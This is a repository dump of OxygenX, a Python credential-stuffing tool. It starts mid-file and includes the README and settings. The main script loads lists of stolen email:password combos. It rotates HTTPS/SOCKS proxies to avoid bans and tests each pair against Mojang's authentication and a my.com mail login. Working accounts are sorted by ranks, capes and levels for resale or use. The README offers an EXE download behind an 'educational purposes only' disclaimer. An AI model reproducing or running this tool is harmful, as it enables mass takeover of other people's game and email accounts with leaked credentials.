combo):\r\n        email, password = combo.split(':', 1)\r\n        mailaccess = False\r\n        if OxygenX.emailaccess:\r\n            try:\r\n                ans = session.get(\r\n                    url=f'https://aj-https.my.com/cgi-bin/auth?ajax_call=1&mmp=mail&simple=1&Login={email}&Password={password}',\r\n                    headers=mailheaders).text\r\n            except:\r\n                if OxygenX.debug:\r\n                    self.prints(f'{red}Error Mail Access: \\n{format_exc(limit=1)}')\r\n                ans = 'BAD'\r\n            if ans == 'Ok=1':\r\n                mailaccess = True\r\n                Counter.mfa += 1\r\n                self.writing([combo, 'EmailAccess'])\r\n            return mailaccess\r\n\r\n    def rproxies(self):\r\n        while self.stop_time:\r\n            try:\r\n                sleep(OxygenX.Proxy.API.refresh)\r\n                loader = session.get(OxygenX.Proxy.API.api).text.splitlines()\r\n                if OxygenX.proxy_dup:\r\n                    self.proxylist = list(set([x.strip() for x in loader if \":\" in x and x != '']))\r\n                else:\r\n                    self.proxylist = [x.strip() for x in loader if \":\" in x and x != '']\r\n\r\n            except:\r\n                if OxygenX.debug:\r\n                    print(f\"{red}Error while refreshing proxies: \\n{format_exc(limit=1)}\\n\")\r\n                sleep(60)\r\n                break\r\n\r\n    def now_time(self):\r\n        return strftime(\"%H:%M:%S\", gmtime(time() - self.start_time))\r\n\r\n    def loadcombo(self):\r\n        while True:\r\n            try:\r\n                print(f\"{cyan}Please Import Your Combo List...\")\r\n                sleep(0.3)\r\n                loader = open(fileopenbox(title=\"Load Combo List\", default=\"*.txt\"), 'r', encoding=\"utf8\",\r\n                              errors='ignore').read().split('\\n')\r\n                if OxygenX.combo_dup:\r\n                    self.accounts = list(set(x.strip() for x in loader if x != ''))\r\n                else:\r\n                    self.accounts = [x.strip() for x in loader if x != '']\r\n                if len(self.accounts) == 0:\r\n                    print(f'{red}No combo found!, Please make sure file have combos...\\n')\r\n                    continue\r\n                print(f\"{magenta} > Imported {len(self.accounts)} lines\")\r\n                break\r\n            except:\r\n                if OxygenX.debug:\r\n                    print(f\"{red}Error while loading combo: \\n{format_exc(limit=1)}\\n\")\r\n\r\n    #   Load Proxy   #\r\n    def loadproxy(self):\r\n        while True:\r\n            try:\r\n                if OxygenX.Proxy.proxy:\r\n                    idk = True\r\n                    loader = []\r\n                    if not OxygenX.Proxy.API.use:\r\n                        print(f\"\\n{cyan}Please Import Your Proxies List.....\")\r\n                        sleep(0.3)\r\n                        loader = open(fileopenbox(title=\"Load Proxies List\", default=\"*.txt\"), 'r', encoding=\"utf8\",\r\n                                      errors='ignore').read().split('\\n')\r\n                    elif OxygenX.Proxy.API.use:\r\n                        try:\r\n                            idk = False\r\n                            loader = session.get(OxygenX.Proxy.API.api).text.split(\"\\n\")\r\n                            if OxygenX.Proxy.API.refresh >= 30:\r\n                                Thread(target=self.rproxies, daemon=True).start()\r\n                                sleep(2)\r\n                        except:\r\n                            if OxygenX.debug:\r\n                                print(\r\n                                    f\"{red}Error while loading proxies from api: \\n{format_exc(limit=1)}\\n\")\r\n                            sleep(60)\r\n                            break\r\n                    if OxygenX.proxy_dup:\r\n                        self.proxylist = list(set([x.strip() for x in loader if \":\" in x and x != '']))\r\n                    else:\r\n                        self.proxylist = [x.strip() for x in loader if \":\" in x and x != '']\r\n                    length_file = len(self.proxylist)\r\n                    if length_file == 0:\r\n                        print(f'{red}No proxies found! Please make sure file have proxies...')\r\n                        continue\r\n                    elif length_file == 0 and OxygenX.Proxy.API:\r\n                        print(f'{red}No proxies found in API, OxygenX will exit in 3 seconds...')\r\n                        sleep(3)\r\n                        exit()\r\n                    print(f\"{magenta} > Imported {length_file} proxies from {'File' if idk else 'API'}\")\r\n                    break\r\n                else:\r\n                    break\r\n            except:\r\n                if OxygenX.debug:\r\n                    print(f\"{red}Error while loading proxies: \\n{format_exc(limit=1)}\\n\")\r\n                sleep(60)\r\n                break\r\n\r\n    def resultfolder(self):\r\n        unix = str(strftime('[%d-%m-%Y %H-%M-%S]'))\r\n        self.folder = f'results/{unix}'\r\n        if not path.exists('results'):\r\n            mkdir('results')\r\n        if not path.exists(self.folder):\r\n            mkdir(self.folder)\r\n\r\n    def get_announcement(self):\r\n        try:\r\n            announcement = session.get(\r\n                'https://raw.githubusercontent.com/ShadowOxygen/OxygenX/master/announcement').text.split(\"Color: \")\r\n            color = announcement[1].lower()\r\n            if color == 'red\\n':\r\n                color = red\r\n            elif color == 'white\\n':\r\n                color = white\r\n            elif color == 'blue\\n':\r\n                color = blue\r\n            elif color == 'green\\n':\r\n                color = green\r\n            elif color == 'cyan\\n':\r\n                color = cyan\r\n            elif color == 'magenta\\n':\r\n                color = magenta\r\n            elif color == 'yellow\\n':\r\n                color = yellow\r\n            self.announcement = f\"{color}{announcement[0]}\"\r\n        except:\r\n            if OxygenX.debug:\r\n                print(f\"{red}Error while displaying announcement: \\n{format_exc(limit=1)}\\n\")\r\n            return\r\n\r\n    def start_checker(self):\r\n        if OxygenX.threads > len(self.accounts):\r\n            OxygenX.threads = int(len(self.accounts))\r\n        self.get_announcement()\r\n        mainpool = ThreadPool(processes=OxygenX.threads)\r\n        clear()\r\n        print(t)\r\n        print(self.announcement)\r\n        self.start_time = time()\r\n        Thread(target=self.title).start()\r\n        mainpool.imap_unordered(func=self.prep, iterable=self.accounts)\r\n        mainpool.close()\r\n        mainpool.join()\r\n        symbo = f'[{Fore.GREEN}>{white}]'\r\n        cyanz = f'[{Fore.CYAN}>{white}]'\r\n        result = f'{white}\\n\\n[{Fore.YELLOW}>{white}] Results: \\n\\n' \\\r\n            f'[{green}+{white}] Hits: {Counter.hits}\\n' \\\r\n            f'[{red}-{white}] Bad: {Counter.bad}{white}\\n\\n' \\\r\n            f'[{yellow}>{white}] Demo: {Counter.demo}\\n' \\\r\n            f'[{green}>{white}] NFA: {Counter.nfa}\\n' \\\r\n            f'{cyanz} SFA: {Counter.sfa}\\n' \\\r\n            f'[{blue}>{white}] MFA: {Counter.mfa}\\n' \\\r\n            f'[{magenta}>{white}] Unmigrated: {Counter.unfa}\\n\\n' \\\r\n            f'{symbo} NoHypixel Login accounts: {Counter.nohypixel}\\n' \\\r\n            f'{symbo} NoMineplex Login accounts: {Counter.nomineplex}\\n' \\\r\n            f'{symbo} Mojang capes: {Counter.mojang}\\n' \\\r\n            f'{symbo} Optifine capes: {Counter.optifine}\\n' \\\r\n            f'{symbo} Labymod capes: {Counter.labymod}\\n' \\\r\n            f'{symbo} LiquidBounce capes: {Counter.liquidbounce}\\n' \\\r\n            f'{symbo} Hypixel Ranked accounts: {Counter.hypixelrank}\\n' \\\r\n            f'{symbo} Mineplex Ranked accounts: {Counter.mineplexrank}\\n' \\\r\n            f'{symbo} HiveMC Ranked accounts: {Counter.hivemcrank}\\n' \\\r\n            f'{symbo} Veltpvp Ranked accounts: {Counter.veltrank}\\n' \\\r\n            f'{symbo} Hypixel {OxygenX.Level.hypixel_level}+ accounts: {Counter.hypixelhl}\\n' \\\r\n            f'{symbo} Mineplex {OxygenX.Level.mineplex_level}+ accounts: {Counter.mineplexhl}\\n\\n' \\\r\n            f'{cyanz} Speed: {cyan}{round(Counter.checked / (time() - self.start_time), 2)} accounts/s\\n' \\\r\n            f'{white}{cyanz} Total time checking: {cyan}{self.now_time()}\\n\\n' \\\r\n            f'[{magenta}x{white}] Finish checking..\\n'\r\n        self.stop_time = False\r\n        print(result)\r\n\r\n    def cpm_counter(self):\r\n        while self.stop_time:\r\n            if Counter.checked >= 1:\r\n                now = Counter.checked\r\n                sleep(3)\r\n                Counter.cpm = (Counter.checked - now) * 20\r\n\r\n\r\ndef checkforupdates():\r\n    try:\r\n        gitversion = session.get(\r\n            \"https://raw.githubusercontent.com/ShadowOxygen/OxygenX/master/version.txt\").text\r\n        if f'{version}\\n' != gitversion:\r\n            print(t)\r\n            print(f\"{red}Your version is outdated.\")\r\n            print(f\"Your version: {version}\\n\")\r\n            print(f'Latest version: {gitversion}Get latest version in the link below')\r\n            print(f\"https://github.com/ShadowOxygen/OxygenX/releases\\nStarting in 5 seconds...{cyan}\")\r\n            sleep(5)\r\n            clear()\r\n    except:\r\n        if OxygenX.debug:\r\n            print(f\"{red} Error while checking for updates: \\n{format_exc(limit=1)}\\n\")\r\n\r\n\r\nclass OxygenX:\r\n    version_check = bool(settings['OxygenX']['check_for_updates'])\r\n    retries = int(settings['OxygenX']['retries'])\r\n    timeout = int(settings['OxygenX']['timeout']) / 1000\r\n    threads = int(settings['OxygenX']['threads'])\r\n    combo_dup = bool(settings['OxygenX']['combo_duplicates'])\r\n    proxy_dup = bool(settings['OxygenX']['proxy_duplicates'])\r\n    emailaccess = bool(settings['OxygenX']['mail_access'])\r\n    ranktype = bool(settings['OxygenX']['save_ranked_type'])\r\n    print_bad = bool(settings['OxygenX']['print_bad'])\r\n    save_bad = bool(settings['OxygenX']['save_bad'])\r\n    debug = bool(settings['OxygenX']['debugging'])\r\n\r\n    class Cape:\r\n        lb = bool(settings['OxygenX']['capes']['liquidbounce'])\r\n        optifine = bool(settings['OxygenX']['capes']['optifine'])\r\n        laby = bool(settings['OxygenX']['capes']['labymod'])\r\n        mojang = bool(settings['OxygenX']['capes']['mojang'])\r\n\r\n    class Rank:\r\n        mineplex = bool(settings['OxygenX']['rank']['mineplex'])\r\n        hypixel = bool(settings['OxygenX']['rank']['hypixel'])\r\n        hivemc = bool(settings['OxygenX']['rank']['hivemc'])\r\n        veltpvp = bool(settings['OxygenX']['rank']['veltpvp'])\r\n\r\n    class Level:\r\n        hypixel = bool(settings['OxygenX']['level']['hypixel'])\r\n        mineplex = bool(settings['OxygenX']['level']['mineplex'])\r\n        hypixel_level = int(settings['OxygenX']['level']['hypixel_level'])\r\n        mineplex_level = int(settings['OxygenX']['level']['mineplex_level'])\r\n\r\n    class Proxy:\r\n        proxy = bool(settings['OxygenX']['proxy']['proxy'])\r\n        type = str(settings['OxygenX']['proxy']['proxy_type']).lower()\r\n        lock_proxy = bool(settings['OxygenX']['proxy']['lock_proxy'])\r\n        remove_bad_proxy = bool(settings['OxygenX']['proxy']['remove_bad_proxy'])\r\n        proxy_remove_limit = int(settings['OxygenX']['proxy']['proxy_remove_limit']) + 1\r\n        sfa_proxy = bool(settings['OxygenX']['proxy']['proxy_for_sfa'])\r\n        sleep = int(settings['OxygenX']['proxy']['sleep_proxyless'])\r\n\r\n        class API:\r\n            use = bool(settings['OxygenX']['proxy']['api']['use'])\r\n            api = str(settings['OxygenX']['proxy']['api']['api_link'])\r\n            refresh = int(settings['OxygenX']['proxy']['api']['refresh_time'])\r\n\r\n\r\nif __name__ == '__main__':\r\n    clear = lambda: system('cls' if name == 'nt' else 'clear')\r\n    init()\r\n    session = Session()\r\n    lock = Lock()\r\n    veltrankz = compile(r'<h2 style=\\\"color: .*\\\">(.*)</h2>')\r\n    rankhv = compile(r'class=\\\"rank.*\\\">(.*)<')\r\n    levelmp = compile(r'>Level (.*)</b>')\r\n    rankmp = compile(r'class=\\\"www-mp-rank\\\".*>(.*)</span>')\r\n    yellow = Fore.LIGHTYELLOW_EX\r\n    red = Fore.LIGHTRED_EX\r\n    green = Fore.LIGHTGREEN_EX\r\n    cyan = Fore.LIGHTCYAN_EX\r\n    blue = Fore.LIGHTBLUE_EX\r\n    white = Fore.LIGHTWHITE_EX\r\n    magenta = Fore.LIGHTMAGENTA_EX\r\n    agent = 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.106 Safari/537.36'\r\n    scraper = create_scraper(sess=Session(), browser={'custom': agent})\r\n    mailheaders = {'user-agent': agent}\r\n    jsonheaders = {\"Content-Type\": \"application/json\", 'Pragma': 'no-cache'}\r\n    user_url = 'https://api.mojang.com/profiles/minecraft'\r\n    auth_mc = 'https://authserver.mojang.com/authenticate'\r\n    sfa_url = 'https://api.mojang.com/user/security/challenges'\r\n    charz = ['@', '!', '#', '$', '%', '^', '&', '*', ')', '(', '-', '}', '{', ']', '\"', '+', '=', '?', '/',\r\n             '.', '>', ',', '<', '`', '\\'', '~', '[', '\\\\', ' ']\r\n    version = '0.8'\r\n    set_title(f'OxygenX-{version} | by ShadowOxygen')\r\n    t = f'''{cyan}________                                     ____  ___\r\n\\_____  \\ ___  ______.__. ____   ____   ____ \\   \\/  /\r\n /   |   \\\\\\  \\/  <   |  |/ ___\\_/ __ \\ /    \\ \\     /\r\n/    |    \\>    < \\___  / /_/  >  ___/|   |  \\/     \\\\\r\n\\_______  /__/\\_ \\/ ____\\___  / \\___  >___|  /___/\\  \\\\\r\n        \\/      \\/\\/   /_____/      \\/     \\/      \\_/\r\n\\n'''\r\n\r\n    if OxygenX.version_check:\r\n        checkforupdates()\r\n    Main()\r\n"
  },
  {
    "path": "README.md",
    "content": "# Archived.\n\n# Labymod cape check is broken so turn it off in the settings file\n\n# OxygenX\n\n```\nFeatures:\n\nMulti-threading\nProxy and Proxyless\nHTTPS, SOCKS4, SOCKS5 Proxies supported (and it also auto auth proxies with username and password)\nGets proxies from api link and refreshes link.\nChecks capes for Minecon, Optifine, Labymod, and LiquidBounce\nChecks ranks for Hypixel, Mineplex, Hive, Velt\nSaves Levels for Hypixel and Mineplex and also gets Hypixel's last logout date.\nChecks for Email Access\n```\n\n# Download for EXE version.\nhttps://github.com/ShadowOxygen/OxygenX/releases/tag/v0.8\nThe releases section is on the right side of the github......\n\n# Donate\nYou can also support me by tipping me with BAT or start using Brave https://brave.com/rtx014\n\n# Terms and conditions\nThis repository is for educational purposes only.\n\nI am not responsible for any actions for anyone who use this program.\n"
  },
  {
    "path": "Settings.yml",
    "content": "#       ________                                     ____  ___\r\n#       \\_____  \\ ___  ______.__. ____   ____   ____ \\   \\/  /\r\n#        /   |   \\\\  \\/  <   |  |/ ___\\_/ __ \\ /    \\ \\     /\r\n#       /    |    \\>    < \\___  / /_/  >  ___/|   |  \\/     \\\r\n#       \\_______  /__/\\_ \\/ ____\\___  / \\___  >___|  /___/\\  \\\r\n#               \\/      \\/\\/   /_____/      \\/     \\/      \\_/\r\n#\r\n#                   -Created and coded by ShadowOxygen\r\n#                   -Code cleaned and revised by MohanadHosny#9152\r\n#                   -Settings file for OxygenX-0.8\r\n\r\nOxygenX:\r\n\r\n  # Check if current version of OxygenX is latest\r\n  check_for_updates: true\r\n\r\n  # Amount of checks for a account many times to check a account. will be slower if retries is set higher\r\n  # Needs to be 1 or higher (Recommanded: 1-2 for paid proxies, 3-6 for public proxies.)\r\n  retries: 3\r\n\r\n  # Higher for better accuracy but slower (counted in milliseconds, example: 6000ms = 6 seconds)\r\n  timeout: 6000\r\n\r\n  # Threads for account checking\r\n  threads: 200\r\n  \r\n  # Remove all duplicates in combolist\r\n  combo_duplicates: true\r\n  \r\n  # Remove all duplicates in proxylist/api\r\n  proxy_duplicates: true\r\n  \r\n  # Check hits if its a mail access\r\n  mail_access: true\r\n  \r\n  # Save ranked accounts in NFA.txt or SFA.txt (Turn it off for ranked accounts NOT to save in NFA.txt or SFA.txt)\r\n  save_ranked_type: true\r\n  \r\n  # Print bad accounts\r\n  print_bad: true\r\n  \r\n  # Save bad accounts\r\n  save_bad: true\r\n\r\n  # Normal users should keep this false unless problem start happening\r\n  debugging: false\r\n  \r\n  \r\n  capes:\r\n    # Check capes\r\n    liquidbounce: true\r\n    optifine: true\r\n    labymod:  true\r\n    mojang:  true\r\n\r\n  rank:\r\n  # Set true if you want to check the ranks/level\r\n    mineplex: true\r\n    hypixel:  true\r\n    hivemc: true\r\n    veltpvp: true\r\n\r\n  level:\r\n    # Save High leveled accounts in files.\r\n    hypixel: true\r\n    mineplex: true\r\n    \r\n    # Minimum high level accounts\r\n    hypixel_level: 25\r\n    mineplex_level: 25\r\n\r\n  proxy:\r\n    # If proxies should be used, Will be proxyless if set to false (Recommended to use VPN if this is set to false.)\r\n    proxy: true\r\n    # Proxy types: https | socks4 | socks5\r\n    proxy_type: 'socks4'\r\n    # EXPERMENTAL! Still in testing stage, may have problems\r\n    # Locks the proxy so other threads can't use it\r\n    lock_proxy: false\r\n    # EXPERMENTAL! Still in testing stage, may have problems\r\n    # Auto remove proxies (you can limit the proxies removed with proxy_remove_limit)\r\n    remove_bad_proxy: false\r\n    # EXPERMENTAL! Still in testing stage, may have problems\r\n    # If remove bad proxies are on, once the proxy list hits the limit it will stop removing bad proxies\r\n    proxy_remove_limit: 2000\r\n    # If proxies be used for checking sfas (Will be slower but if false, you may get ip banned)\r\n    proxy_for_sfa: false\r\n    # Sleep between checks if proxy mode is false (put 0 for no sleep) counted in secouds\r\n    sleep_proxyless: 30\r\n    \r\n    api:\r\n      # If proxy api link to be used.\r\n      use: false\r\n      # If proxy_use_api is true, put api link in the parentheses\r\n      api_link: \"https://api.proxyscrape.com/?request=getproxies&proxytype=socks4&timeout=3000\"\r\n      # If proxy_use_api is true, put a number for seconds to refresh the link (every number under 30 is for no refreshing time, recommend refresh time: 300 seconds aka 5 minutes)\r\n      refresh_time: 300\r\n"
  },
  {
    "path": "announcement",
    "content": " -OxygenX is now archived.\nColor: red\n"
  },
  {
    "path": "proxies.txt",
    "content": "Put your proxies here"
  },
  {
    "path": "requirements.txt",
    "content": "certifi\r\nchardet\r\ncolorama\r\npysocks\r\npyyaml\r\nrequests\r\neasygui\r\ncloudscraper\r\nconsole"
  },
  {
    "path": "version.txt",
    "content": "0.8\n"
  }
]